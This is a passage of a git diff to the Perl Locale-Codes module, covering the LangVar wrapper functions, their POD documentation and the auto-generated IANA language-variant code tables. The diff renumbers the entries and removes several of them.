+   return Locale::Codes::_delete_code('langvar',@_);
 }
 
 sub add_langvar_alias {
-   return $obj->add_alias(@_);
+   return Locale::Codes::_add_alias('langvar',@_);
 }
 
 sub delete_langvar_alias {
-   return $obj->delete_alias(@_);
+   return Locale::Codes::_delete_alias('langvar',@_);
 }
 
 sub rename_langvar_code {
-   return $obj->replace_code(@_);
+   return Locale::Codes::_rename_code('langvar',@_);
 }
 
 sub add_langvar_code_alias {
-   return $obj->add_code_alias(@_);
+   return Locale::Codes::_add_code_alias('langvar',@_);
 }
 
 sub delete_langvar_code_alias {
-   return $obj->delete_code_alias(@_);
+   return Locale::Codes::_delete_code_alias('langvar',@_);
 }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod b/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod
index 30340feb1eed..6e6b895c79a1 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod
@@ -2,107 +2,85 @@
 
 =head1 NAME
 
-Locale::Codes::LangVar - module for dealing with langvar code sets
+Locale::Codes::LangVar - standard codes for language variation identification
 
 =head1 SYNOPSIS
 
    use Locale::Codes::LangVar;
 
-   $name = code2langvar(CODE);
-   $code = langvar2code(NAME);
+   $lvar = code2langvar('acm');                 # $lvar gets 'Mesopotamian Arabic'
+   $code = langvar2code('Mesopotamian Arabic'); # $code gets 'acm'
 
    @codes   = all_langvar_codes();
    @names   = all_langvar_names();
 
 =head1 DESCRIPTION
 
-This module provides access to langvar code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standard codes
+used for identifying language variations, such as those as defined in
+the IANA language registry.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
-
-=head1 ROUTINES
-
-All routines in this module call the appropriate method in the
-L module, using an object of type: langvar
-Please refer to the documentation of the L module
-for details about each function.
-
-The following functions are exported automatically:
-
-=over 4
+specifies the code set to use. If not specified, the default IANA
+language registry codes will be used.
 
-=item B
+=head1 SUPPORTED CODE SETS
 
-See B in L
+There are several different code sets you can use for identifying
+language variations. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-=item B
+For example, the two are equivalent:
 
-See B in L
+   $lvar = code2langvar('arevela','alpha');
+   $lvar = code2langvar('arevela',LOCALE_LANGVAR_ALPHA);
 
-=item B
+The codesets currently supported are:
 
-See B in L
+=over 4
 
-=item B
+=item B
 
-See B in L
+This is the set of alphanumeric codes from the IANA
+language registry, such as 'arevela' for Eastern Armenian.
 
-=item B
+This code set is identified with the symbol C.
 
-See B in L
+This is the default code set.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
-
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
-
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
-
-=item B
-
-See B in L
-
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +92,14 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+The IANA language subtag registry.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +110,7 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 2011-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm
index 59b74307c91c..a560edeb3e1d 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm
@@ -3,7 +3,7 @@ Locale::Codes::LangVar_Codes;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Feb 23 12:55:14 EST 2018
+#    Generated on: Fri Nov 18 09:18:40 EST 2016
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
-$Locale::Codes::Data{'langvar'}{'id'} = '0086';
+$Locale::Codes::Data{'langvar'}{'id'} = '0077';
 
 $Locale::Codes::Data{'langvar'}{'id2names'} = {
    q(0001) => [
@@ -45,145 +45,132 @@ $Locale::Codes::Data{'langvar'}{'id2names'} = {
       q(Boni dialect),
       ],
    q(0010) => [
-      q(Akuapem Twi),
-      ],
-   q(0011) => [
       q(Portuguese Language Orthographic Agreement of 1990 (Acordo Ortografico da Lingua Portuguesa de 1990)),
       ],
-   q(0012) => [
+   q(0011) => [
       q(Eastern Armenian),
       ],
-   q(0013) => [
+   q(0012) => [
       q(Western Armenian),
       ],
-   q(0014) => [
-      q(Asante Twi),
-      q(Ashanti Twi),
-      ],
-   q(0015) => [
+   q(0013) => [
       q(Unified Turkic Latin Alphabet (Historical)),
       ],
-   q(0016) => [
+   q(0014) => [
       q(The Balanka dialect of Anii),
       ],
-   q(0017) => [
+   q(0015) => [
       q(The Barlavento dialect group of Kabuverdianu),
       ],
-   q(0018) => [
+   q(0016) => [
       q(Basic English),
       ],
-   q(0019) => [
+   q(0017) => [
       q(Buddhist Hybrid Sanskrit),
       ],
-   q(0020) => [
+   q(0018) => [
       q(Biscayan dialect of Basque),
       ],
-   q(0021) => [
+   q(0019) => [
       q(The San Giorgio dialect of Resian),
       q(The Bila dialect of Resian),
       ],
-   q(0022) => [
+   q(0020) => [
       q(Slovene in Bohoric alphabet),
       ],
-   q(0023) => [
+   q(0021) => [
       q(Boontling),
       ],
-   q(0024) => [
+   q(0022) => [
       q(Portuguese-Brazilian Orthographic Convention of 1945 (Convencao Ortografica Luso-Brasileira de 1945)),
       ],
-   q(0025) => [
+   q(0023) => [
       q(Cornu-English),
       q(Cornish English),
       q(Anglo-Cornish),
       ],
-   q(0026) => [
+   q(0024) => [
       q(Slovene in Dajnko alphabet),
       ],
-   q(0027) => [
+   q(0025) => [
       q(Serbian with Ekavian pronunciation),
       ],
-   q(0028) => [
+   q(0026) => [
       q(Early Modern English (1500-1700)),
       ],
-   q(0029) => [
+   q(0027) => [
       q(International Phonetic Alphabet),
       ],
-   q(0030) => [
+   q(0028) => [
       q(North American Phonetic Alphabet),
       q(Americanist Phonetic Notation),
       ],
-   q(0031) => [
+   q(0029) => [
       q(Uralic Phonetic Alphabet),
       ],
-   q(0032) => [
+   q(0030) => [
       q(X-SAMPA transcription),
       ],
-   q(0033) => [
+   q(0031) => [
       q(Hepburn romanization),
       ],
-   q(0034) => [
+   q(0032) => [
       q(Norwegian in Hognorsk (High Norwegian) orthography),
       ],
-   q(0035) => [
-      q(Standard H-system orthographic fallback for spelling Esperanto),
-      ],
-   q(0036) => [
+   q(0033) => [
       q(Serbian with Ijekavian pronunciation),
       ],
-   q(0037) => [
+   q(0034) => [
       q(Epic Sanskrit),
       ],
-   q(0038) => [
-      q(Bulgarian in 1899 orthography),
-      ],
-   q(0039) => [
+   q(0035) => [
       q(Jauer dialect of Romansh),
       ],
-   q(0040) => [
+   q(0036) => [
       q(Jyutping Cantonese Romanization),
       ],
-   q(0041) => [
+   q(0037) => [
       q(Common Cornish orthography of Revived Cornish),
       ],
-   q(0042) => [
+   q(0038) => [
       q(The Kociewie dialect of Polish),
       ],
-   q(0043) => [
+   q(0039) => [
       q(Standard Cornish orthography of Revived Cornish),
       q(Kernowek Standard),
       ],
-   q(0044) => [
+   q(0040) => [
       q(Classical Sanskrit),
       ],
-   q(0045) => [
+   q(0041) => [
       q(The Lipovaz dialect of Resian),
       q(The Lipovec dialect of Resian),
       ],
-   q(0046) => [
+   q(0042) => [
       q(Post-1917 Russian orthography),
       ],
-   q(0047) => [
+   q(0043) => [
       q(Slovene in Metelko alphabet),
       ],
-   q(0048) => [
+   q(0044) => [
       q(Monotonic Greek),
       ],
-   q(0049) => [
+   q(0045) => [
       q(Ndyuka dialect),
       q(Aukan dialect),
       ],
-   q(0050) => [
+   q(0046) => [
       q(Natisone dialect),
       q(Nadiza dialect),
       ],
-   q(0051) => [
+   q(0047) => [
       q(Newfoundland English),
       ],
-   q(0052) => [
+   q(0048) => [
       q(The Gniva dialect of Resian),
       q(The Njiva dialect of Resian),
       ],
-   q(0053) => [
+   q(0049) => [
       q(Volapuk nulik),
       q(Volapuk perevidol),
       q(Volapuk nuladik),
@@ -192,109 +179,94 @@ $Locale::Codes::Data{'langvar'}{'id2names'} = {
       q(Revised Volapuk),
       q(Modern Volapuk),
       ],
-   q(0054) => [
+   q(0050) => [
       q(The Oseacco dialect of Resian),
       q(The Osojane dialect of Resian),
       ],
-   q(0055) => [
+   q(0051) => [
       q(Oxford English Dictionary spelling),
       ],
-   q(0056) => [
-      q(Pahawh Hmong Second Stage Reduced orthography),
-      ],
-   q(0057) => [
-      q(Pahawh Hmong Third Stage Reduced orthography),
-      ],
-   q(0058) => [
-      q(Pahawh Hmong Final Version orthography),
-      ],
-   q(0059) => [
+   q(0052) => [
       q(Pamaka dialect),
       ],
-   q(0060) => [
+   q(0053) => [
       q(Petrine orthography),
       ],
-   q(0061) => [
+   q(0054) => [
       q(Pinyin romanization),
       ],
-   q(0062) => [
+   q(0055) => [
       q(Polytonic Greek),
       ],
-   q(0063) => [
+   q(0056) => [
       q(Puter idiom of Romansh),
       ],
-   q(0064) => [
+   q(0057) => [
       q(Volapuk rigik),
       q(Schleyer's Volapuk),
       q(Original Volapuk),
       q(Classic Volapuk),
       ],
-   q(0065) => [
+   q(0058) => [
       q(Resian),
       q(Resianic),
       q(Rezijan),
       ],
-   q(0066) => [
+   q(0059) => [
       q(Rumantsch Grischun),
       ],
-   q(0067) => [
+   q(0060) => [
       q(Scottish Standard English),
       ],
-   q(0068) => [
+   q(0061) => [
       q(Scouse),
       ],
-   q(0069) => [
+   q(0062) => [
       q(Simplified form),
       ],
-   q(0070) => [
+   q(0063) => [
       q(The Stolvizza dialect of Resian),
       q(The Solbica dialect of Resian),
       ],
-   q(0071) => [
+   q(0064) => [
       q(The Sotavento dialect group of Kabuverdianu),
       ],
-   q(0072) => [
-      q(Spanglish),
-      ],
-   q(0073) => [
+   q(0065) => [
       q(Surmiran idiom of Romansh),
       ],
-   q(0074) => [
+   q(0066) => [
       q(Sursilvan idiom of Romansh),
       ],
-   q(0075) => [
+   q(0067) => [
       q(Sutsilvan idiom of Romansh),
       ],
-   q(0076) => [
+   q(0068) => [
       q(Belarusian in Taraskievica orthography),
       ],
-   q(0077) => [
+   q(0069) => [
       q(Unified Cornish orthography of Revived Cornish),
       ],
-   q(0078) => [
+   q(0070) => [
       q(Unified Cornish Revised orthography of Revived Cornish),
       ],
-   q(0079) => [
+   q(0071) => [
       q(Ulster dialect of Scots),
       ],
-   q(0080) => [
+   q(0072) => [
       q(Unifon phonetic alphabet),
       ],
-   q(0081) => [
+   q(0073) => [
       q(Vedic Sanskrit),
       ],
-   q(0082) => [
+   q(0074) => [
       q(Valencian),
       ],
-   q(0083) => [
+   q(0075) => [
       q(Vallader idiom of Romansh),
       ],
-   q(0084) => [
+   q(0076) => [
       q(Wade-Giles romanization),
       ],
-   q(0085) => [
-      q(Standard X-system orthographic fallback for spelling Esperanto),
-      ],
 };
 
 $Locale::Codes::Data{'langvar'}{'alias2id'} = {
@@ -302,10 +274,6 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0004),
       q(0),
       ],
-   q(akuapem twi) => [
-      q(0010),
-      q(0),
-      ],
    q(ala-lc romanization, 1997 edition) => [
       q(0008),
       q(0),
@@ -315,35 +283,27 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0),
       ],
    q(americanist phonetic notation) => [
-      q(0030),
+      q(0028),
       q(1),
       ],
    q(anglo-cornish) => [
-      q(0025),
+      q(0023),
       q(2),
       ],
-   q(asante twi) => [
-      q(0014),
-      q(0),
-      ],
-   q(ashanti twi) => [
-      q(0014),
-      q(1),
-      ],
    q(aukan dialect) => [
-      q(0049),
+      q(0045),
       q(1),
       ],
    q(basic english) => [
-      q(0018),
+      q(0016),
       q(0),
       ],
    q(belarusian in taraskievica orthography) => [
-      q(0076),
+      q(0068),
       q(0),
       ],
    q(biscayan dialect of basque) => [
-      q(0020),
+      q(0018),
       q(0),
       ],
    q(boni dialect) => [
@@ -351,43 +311,39 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(1),
       ],
    q(boontling) => [
-      q(0023),
+      q(0021),
       q(0),
       ],
    q(buddhist hybrid sanskrit) => [
-      q(0019),
-      q(0),
-      ],
-   q(bulgarian in 1899 orthography) => [
-      q(0038),
+      q(0017),
       q(0),
       ],
    q(classic volapuk) => [
-      q(0064),
+      q(0057),
       q(3),
       ],
    q(classical sanskrit) => [
-      q(0044),
+      q(0040),
       q(0),
       ],
    q(common cornish orthography of revived cornish) => [
-      q(0041),
+      q(0037),
       q(0),
       ],
    q(cornish english) => [
-      q(0025),
+      q(0023),
       q(1),
       ],
    q(cornu-english) => [
-      q(0025),
+      q(0023),
       q(0),
       ],
    q(de jong's volapuk) => [
-      q(0053),
+      q(0049),
       q(3),
       ],
    q(early modern english (1500-1700)) => [
-      q(0028),
+      q(0026),
       q(0),
       ],
    q(early modern french) => [
@@ -395,11 +351,11 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0),
       ],
    q(eastern armenian) => [
-      q(0012),
+      q(0011),
       q(0),
       ],
    q(epic sanskrit) => [
-      q(0037),
+      q(0034),
       q(0),
       ],
    q(german orthography of 1996) => [
@@ -407,23 +363,23 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0),
       ],
    q(hepburn romanization) => [
-      q(0033),
+      q(0031),
       q(0),
       ],
    q(international phonetic alphabet) => [
-      q(0029),
+      q(0027),
       q(0),
       ],
    q(jauer dialect of romansh) => [
-      q(0039),
+      q(0035),
       q(0),
       ],
    q(jyutping cantonese romanization) => [
-      q(0040),
+      q(0036),
       q(0),
       ],
    q(kernowek standard) => [
-      q(0043),
+      q(0039),
       q(1),
       ],
    q(late middle french (to 1606)) => [
@@ -431,43 +387,43 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0),
       ],
    q(modern volapuk) => [
-      q(0053),
+      q(0049),
       q(6),
       ],
    q(monotonic greek) => [
-      q(0048),
+      q(0044),
       q(0),
       ],
    q(nadiza dialect) => [
-      q(0050),
+      q(0046),
       q(1),
       ],
    q(natisone dialect) => [
-      q(0050),
+      q(0046),
       q(0),
       ],
    q(ndyuka dialect) => [
-      q(0049),
+      q(0045),
       q(0),
       ],
    q(new volapuk) => [
-      q(0053),
+      q(0049),
       q(4),
       ],
    q(newfoundland english) => [
-      q(0051),
+      q(0047),
       q(0),
       ],
    q(north american phonetic alphabet) => [
-      q(0030),
+      q(0028),
       q(0),
       ],
    q(norwegian in hognorsk (high norwegian) orthography) => [
-      q(0034),
+      q(0032),
       q(0),
       ],
    q(original volapuk) => [
-      q(0064),
+      q(0057),
       q(2),
       ],
    q(orthographic formulation of 1943 - official in brazil (formulario ortografico de 1943 - oficial no brasil)) => [
@@ -475,123 +431,99 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0),
       ],
    q(oxford english dictionary spelling) => [
-      q(0055),
-      q(0),
-      ],
-   q(pahawh hmong final version orthography) => [
-      q(0058),
-      q(0),
-      ],
-   q(pahawh hmong second stage reduced orthography) => [
-      q(0056),
-      q(0),
-      ],
-   q(pahawh hmong third stage reduced orthography) => [
-      q(0057),
+      q(0051),
       q(0),
       ],
    q(pamaka dialect) => [
-      q(0059),
+      q(0052),
       q(0),
       ],
    q(petrine orthography) => [
-      q(0060),
+      q(0053),
       q(0),
       ],
    q(pinyin romanization) => [
-      q(0061),
+      q(0054),
       q(0),
       ],
    q(polytonic greek) => [
-      q(0062),
+      q(0055),
       q(0),
       ],
    q(portuguese language orthographic agreement of 1990 (acordo ortografico da lingua portuguesa de 1990)) => [
-      q(0011),
+      q(0010),
       q(0),
       ],
    q(portuguese-brazilian orthographic convention of 1945 (convencao ortografica luso-brasileira de 1945)) => [
-      q(0024),
+      q(0022),
       q(0),
       ],
    q(post-1917 russian orthography) => [
-      q(0046),
+      q(0042),
       q(0),
       ],
    q(puter idiom of romansh) => [
-      q(0063),
+      q(0056),
       q(0),
       ],
    q(resian) => [
-      q(0065),
+      q(0058),
       q(0),
       ],
    q(resianic) => [
-      q(0065),
+      q(0058),
       q(1),
       ],
    q(revised volapuk) => [
-      q(0053),
+      q(0049),
       q(5),
       ],
    q(rezijan) => [
-      q(0065),
+      q(0058),
       q(2),
       ],
    q(rumantsch grischun) => [
-      q(0066),
+      q(0059),
       q(0),
       ],
    q(schleyer's volapuk) => [
-      q(0064),
+      q(0057),
       q(1),
       ],
    q(scottish standard english) => [
-      q(0067),
+      q(0060),
       q(0),
       ],
    q(scouse) => [
-      q(0068),
+      q(0061),
       q(0),
       ],
    q(serbian with ekavian pronunciation) => [
-      q(0027),
+      q(0025),
       q(0),
       ],
    q(serbian with ijekavian pronunciation) => [
-      q(0036),
+      q(0033),
       q(0),
       ],
    q(simplified form) => [
-      q(0069),
+      q(0062),
       q(0),
       ],
    q(slovene in bohoric alphabet) => [
-      q(0022),
+      q(0020),
       q(0),
       ],
    q(slovene in dajnko alphabet) => [
-      q(0026),
+      q(0024),
       q(0),
       ],
    q(slovene in metelko alphabet) => [
-      q(0047),
-      q(0),
-      ],
-   q(spanglish) => [
-      q(0072),
-      q(0),
-      ],
-   q(standard cornish orthography of revived cornish) => [
       q(0043),
       q(0),
       ],
-   q(standard h-system orthographic fallback for spelling esperanto) => [
-      q(0035),
-      q(0),
-      ],
-   q(standard x-system orthographic fallback for spelling esperanto) => [
-      q(0085),
+   q(standard cornish orthography of revived cornish) => [
+      q(0039),
       q(0),
       ],
    q(standardized resian orthography) => [
@@ -599,71 +531,71 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0),
       ],
    q(surmiran idiom of romansh) => [
-      q(0073),
+      q(0065),
       q(0),
       ],
    q(sursilvan idiom of romansh) => [
-      q(0074),
+      q(0066),
       q(0),
       ],
    q(sutsilvan idiom of romansh) => [
-      q(0075),
+      q(0067),
       q(0),
       ],
    q(the balanka dialect of anii) => [
-      q(0016),
+      q(0014),
       q(0),
       ],
    q(the barlavento dialect group of kabuverdianu) => [
-      q(0017),
+      q(0015),
       q(0),
       ],
    q(the bila dialect of resian) => [
-      q(0021),
+      q(0019),
       q(1),
       ],
    q(the gniva dialect of resian) => [
-      q(0052),
+      q(0048),
       q(0),
       ],
    q(the kociewie dialect of polish) => [
-      q(0042),
+      q(0038),
       q(0),
       ],
    q(the lipovaz dialect of resian) => [
-      q(0045),
+      q(0041),
       q(0),
       ],
    q(the lipovec dialect of resian) => [
-      q(0045),
+      q(0041),
       q(1),
       ],
    q(the njiva dialect of resian) => [
-      q(0052),
+      q(0048),
       q(1),
       ],
    q(the oseacco dialect of resian) => [
-      q(0054),
+      q(0050),
       q(0),
       ],
    q(the osojane dialect of resian) => [
-      q(0054),
+      q(0050),
       q(1),
       ],
    q(the san giorgio dialect of resian) => [
-      q(0021),
+      q(0019),
       q(0),
       ],
    q(the solbica dialect of resian) => [
-      q(0070),
+      q(0063),
       q(1),
       ],
    q(the sotavento dialect group of kabuverdianu) => [
-      q(0071),
+      q(0064),
       q(0),
       ],
    q(the stolvizza dialect of resian) => [
-      q(0070),
+      q(0063),
       q(0),
       ],
    q(traditional german orthography) => [
@@ -671,67 +603,67 @@ $Locale::Codes::Data{'langvar'}{'alias2id'} = {
       q(0),
       ],
    q(ulster dialect of scots) => [
-      q(0079),
+      q(0071),
       q(0),
       ],
    q(unified cornish orthography of revived cornish) => [
-      q(0077),
+      q(0069),
       q(0),
       ],
    q(unified cornish revised orthography of revived cornish) => [
-      q(0078),
+      q(0070),
       q(0),
       ],
    q(unified turkic latin alphabet (historical)) => [
-      q(0015),
+      q(0013),
       q(0),
       ],
    q(unifon phonetic alphabet) => [
-      q(0080),
+      q(0072),
       q(0),
       ],
    q(uralic phonetic alphabet) => [
-      q(0031),
+      q(0029),
       q(0),
       ],
    q(valencian) => [
-      q(0082),
+      q(0074),
       q(0),
       ],
    q(vallader idiom of romansh) => [
-      q(0083),
+      q(0075),
       q(0),
       ],
    q(vedic sanskrit) => [
-      q(0081),
+      q(0073),
       q(0),
       ],
    q(volapuk nuladik) => [
-      q(0053),
+      q(0049),
       q(2),
       ],
    q(volapuk nulik) => [
-      q(0053),
+      q(0049),
       q(0),
       ],
    q(volapuk perevidol) => [
-      q(0053),
+      q(0049),
       q(1),
       ],
    q(volapuk rigik) => [
-      q(0064),
+      q(0057),
       q(0),
       ],
    q(wade-giles romanization) => [
-      q(0084),
+      q(0076),
       q(0),
       ],
    q(western armenian) => [
-      q(0013),
+      q(0012),
       q(0),
       ],
    q(x-sampa transcription) => [
-      q(0032),
+      q(0030),
       q(0),
       ],
 };
@@ -766,10 +698,6 @@ $Locale::Codes::Data{'langvar'}{'code2id'} = {
          q(0007),
          q(0),
          ],
-      q(akuapem) => [
-         q(0010),
-         q(0),
-         ],
       q(alalc97) => [
          q(0008),
          q(0),
@@ -779,303 +707,271 @@ $Locale::Codes::Data{'langvar'}{'code2id'} = {
          q(0),
          ],
       q(ao1990) => [
-         q(0011),
+         q(0010),
          q(0),
          ],
       q(arevela) => [
-         q(0012),
+         q(0011),
          q(0),
          ],
       q(arevmda) => [
-         q(0013),
-         q(0),
-         ],
-      q(asante) => [
-         q(0014),
+         q(0012),
          q(0),
          ],
       q(baku1926) => [
-         q(0015),
+         q(0013),
          q(0),
          ],
       q(balanka) => [
-         q(0016),
+         q(0014),
          q(0),
          ],
       q(barla) => [
-         q(0017),
+         q(0015),
          q(0),
          ],
       q(basiceng) => [
-         q(0018),
+         q(0016),
          q(0),
          ],
       q(bauddha) => [
-         q(0019),
+         q(0017),
          q(0),
          ],
       q(biscayan) => [
-         q(0020),
+         q(0018),
          q(0),
          ],
       q(biske) => [
-         q(0021),
+         q(0019),
          q(0),
          ],
       q(bohoric) => [
-         q(0022),
+         q(0020),
          q(0),
          ],
       q(boont) => [
-         q(0023),
+         q(0021),
          q(0),
          ],
       q(colb1945) => [
-         q(0024),
+         q(0022),
          q(0),
          ],
       q(cornu) => [
-         q(0025),
+         q(0023),
          q(0),
          ],
       q(dajnko) => [
-         q(0026),
+         q(0024),
          q(0),
          ],
       q(ekavsk) => [
-         q(0027),
+         q(0025),
          q(0),
          ],
       q(emodeng) => [
-         q(0028),
+         q(0026),
          q(0),
          ],
       q(fonipa) => [
-         q(0029),
+         q(0027),
          q(0),
          ],
       q(fonnapa) => [
-         q(0030),
+         q(0028),
          q(0),
          ],
       q(fonupa) => [
-         q(0031),
+         q(0029),
          q(0),
          ],
       q(fonxsamp) => [
-         q(0032),
+         q(0030),
          q(0),
          ],
       q(hepburn) => [
-         q(0033),
+         q(0031),
          q(0),
          ],
       q(hognorsk) => [
-         q(0034),
-         q(0),
-         ],
-      q(hsistemo) => [
-         q(0035),
+         q(0032),
          q(0),
          ],
       q(ijekavsk) => [
-         q(0036),
+         q(0033),
          q(0),
          ],
       q(itihasa) => [
-         q(0037),
-         q(0),
-         ],
-      q(ivanchov) => [
-         q(0038),
+         q(0034),
          q(0),
          ],
       q(jauer) => [
-         q(0039),
+         q(0035),
          q(0),
          ],
       q(jyutping) => [
-         q(0040),
+         q(0036),
          q(0),
          ],
       q(kkcor) => [
-         q(0041),
+         q(0037),
          q(0),
          ],
       q(kociewie) => [
-         q(0042),
+         q(0038),
          q(0),
          ],
       q(kscor) => [
-         q(0043),
+         q(0039),
          q(0),
          ],
       q(laukika) => [
-         q(0044),
+         q(0040),
          q(0),
          ],
       q(lipaw) => [
-         q(0045),
+         q(0041),
          q(0),
          ],
       q(luna1918) => [
-         q(0046),
+         q(0042),
          q(0),
          ],
       q(metelko) => [
-         q(0047),
+         q(0043),
          q(0),
          ],
       q(monoton) => [
-         q(0048),
+         q(0044),
          q(0),
          ],
       q(ndyuka) => [
-         q(0049),
+         q(0045),
          q(0),
          ],
       q(nedis) => [
-         q(0050),
+         q(0046),
          q(0),
          ],
       q(newfound) => [
-         q(0051),
+         q(0047),
          q(0),
          ],
       q(njiva) => [
-         q(0052),
+         q(0048),
          q(0),
          ],
       q(nulik) => [
-         q(0053),
+         q(0049),
          q(0),
          ],
       q(osojs) => [
-         q(0054),
+         q(0050),
          q(0),
          ],
       q(oxendict) => [
-         q(0055),
-         q(0),
-         ],
-      q(pahawh2) => [
-         q(0056),
-         q(0),
-         ],
-      q(pahawh3) => [
-         q(0057),
-         q(0),
-         ],
-      q(pahawh4) => [
-         q(0058),
+         q(0051),
          q(0),
          ],
       q(pamaka) => [
-         q(0059),
+         q(0052),
          q(0),
          ],
       q(petr1708) => [
-         q(0060),
+         q(0053),
          q(0),
          ],
       q(pinyin) => [
-         q(0061),
+         q(0054),
          q(0),
          ],
       q(polyton) => [
-         q(0062),
+         q(0055),
          q(0),
          ],
       q(puter) => [
-         q(0063),
+         q(0056),
          q(0),
          ],
       q(rigik) => [
-         q(0064),
+         q(0057),
          q(0),
          ],
       q(rozaj) => [
-         q(0065),
+         q(0058),
          q(0),
          ],
       q(rumgr) => [
-         q(0066),
+         q(0059),
          q(0),
          ],
       q(scotland) => [
-         q(0067),
+         q(0060),
          q(0),
          ],
       q(scouse) => [
-         q(0068),
+         q(0061),
          q(0),
          ],
       q(simple) => [
-         q(0069),
+         q(0062),
          q(0),
          ],
       q(solba) => [
-         q(0070),
+         q(0063),
          q(0),
          ],
       q(sotav) => [
-         q(0071),
-         q(0),
-         ],
-      q(spanglis) => [
-         q(0072),
+         q(0064),
          q(0),
          ],
       q(surmiran) => [
-         q(0073),
+         q(0065),
          q(0),
          ],
       q(sursilv) => [
-         q(0074),
+         q(0066),
          q(0),
          ],
       q(sutsilv) => [
-         q(0075),
+         q(0067),
          q(0),
          ],
       q(tarask) => [
-         q(0076),
+         q(0068),
          q(0),
          ],
       q(uccor) => [
-         q(0077),
+         q(0069),
          q(0),
          ],
       q(ucrcor) => [
-         q(0078),
+         q(0070),
          q(0),
          ],
       q(ulster) => [
-         q(0079),
+         q(0071),
          q(0),
          ],
       q(unifon) => [
-         q(0080),
+         q(0072),
          q(0),
          ],
       q(vaidika) => [
-         q(0081),
+         q(0073),
          q(0),
          ],
       q(valencia) => [
-         q(0082),
+         q(0074),
          q(0),
          ],
       q(vallader) => [
-         q(0083),
+         q(0075),
          q(0),
          ],
       q(wadegile) => [
-         q(0084),
-         q(0),
-         ],
-      q(xsistemo) => [
-         q(0085),
+         q(0076),
          q(0),
          ],
       },
@@ -1092,82 +988,73 @@ $Locale::Codes::Data{'langvar'}{'id2code'} = {
       q(0007) => q(abl1943),
       q(0008) => q(alalc97),
       q(0009) => q(aluku),
-      q(0010) => q(akuapem),
-      q(0011) => q(ao1990),
-      q(0012) => q(arevela),
-      q(0013) => q(arevmda),
-      q(0014) => q(asante),
-      q(0015) => q(baku1926),
-      q(0016) => q(balanka),
-      q(0017) => q(barla),
-      q(0018) => q(basiceng),
-      q(0019) => q(bauddha),
-      q(0020) => q(biscayan),
-      q(0021) => q(biske),
-      q(0022) => q(bohoric),
-      q(0023) => q(boont),
-      q(0024) => q(colb1945),
-      q(0025) => q(cornu),
-      q(0026) => q(dajnko),
-      q(0027) => q(ekavsk),
-      q(0028) => q(emodeng),
-      q(0029) => q(fonipa),
-      q(0030) => q(fonnapa),
-      q(0031) => q(fonupa),
-      q(0032) => q(fonxsamp),
-      q(0033) => q(hepburn),
-      q(0034) => q(hognorsk),
-      q(0035) => q(hsistemo),
-      q(0036) => q(ijekavsk),
-      q(0037) => q(itihasa),
-      q(0038) => q(ivanchov),
-      q(0039) => q(jauer),
-      q(0040) => q(jyutping),
-      q(0041) => q(kkcor),
-      q(0042) => q(kociewie),
-      q(0043) => q(kscor),
-      q(0044) => q(laukika),
-      q(0045) => q(lipaw),
-      q(0046) => q(luna1918),
-      q(0047) => q(metelko),
-      q(0048) => q(monoton),
-      q(0049) => q(ndyuka),
-      q(0050) => q(nedis),
-      q(0051) => q(newfound),
-      q(0052) => q(njiva),
-      q(0053) => q(nulik),
-      q(0054) => q(osojs),
-      q(0055) => q(oxendict),
-      q(0056) => q(pahawh2),
-      q(0057) => q(pahawh3),
-      q(0058) => q(pahawh4),
-      q(0059) => q(pamaka),
-      q(0060) => q(petr1708),
-      q(0061) => q(pinyin),
-      q(0062) => q(polyton),
-      q(0063) => q(puter),
-      q(0064) => q(rigik),
-      q(0065) => q(rozaj),
-      q(0066) => q(rumgr),
-      q(0067) => q(scotland),
-      q(0068) => q(scouse),
-      q(0069) => q(simple),
-      q(0070) => q(solba),
-      q(0071) => q(sotav),
-      q(0072) => q(spanglis),
-      q(0073) => q(surmiran),
